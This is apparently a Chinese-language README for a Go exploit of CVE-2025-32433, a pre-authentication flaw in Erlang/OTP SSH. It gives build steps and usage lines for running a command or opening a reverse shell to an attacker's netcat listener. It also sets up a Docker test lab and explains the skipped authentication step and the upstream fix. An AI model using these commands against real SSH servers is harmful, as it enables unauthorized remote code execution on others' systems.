基于 Go 的 CVE-2025-32433 漏洞利用程序,可返回远程 bash shell。
其漏洞利用原理很大程度上参考了 ProDefense 针对 CVE-2025-32433 的 PoC。
make
exploit.exe也通过交叉编译的 Makefile 提供给 Windows 机器使用。
然后通过以下 2 种方式之一执行漏洞利用二进制文件:
命令
./exploit <target-ip> <target-port> "<command>"
注意:不会返回命令的输出
反向 Shell
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
使用 ProDefense 的 Dockerfile,可以通过以下方式搭建环境:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
然后,您可以按照运行漏洞利用程序一节中的方法执行漏洞利用程序,例如:
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1是 Docker 主机的默认 IP
长话短说 "该问题源于 SSH 协议消息处理中的一个缺陷,它允许攻击者在认证之前发送连接协议消息。"
典型 SSH 流程:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
漏洞利用流程:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (认证前)SSH_MSG_CHANNEL_REQUEST (认证前) --> 包含命令载荷请注意,漏洞利用过程中跳过了整个 USERAUTH 部分。
与 SSH 消息相关的 RFC:


SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

字符串格式(来自 RFC 4251:安全外壳(SSH)协议架构)

填充

以下是 Erlang OTP 库 在 ssh: early RCE fix 提交 中引入的修复:

该修复引入了一个新的 handle_msg 子句,该子句根据其参数会捕获:
Msg:用于捕获此前子句尚未匹配到的任何传入 SSH 消息的兜底变量(例如 #ssh_msg_disconnect{})#ssh{authenticated = false}:当连接尚未认证时匹配的会话状态。该子句不会捕获 authenticated = true 的会话;当服务器收到 #ssh_msg_userauth_success{} 时,便会将 authenticated = true 附加到会话:

该消息会在以下任一认证方法成功后发送:
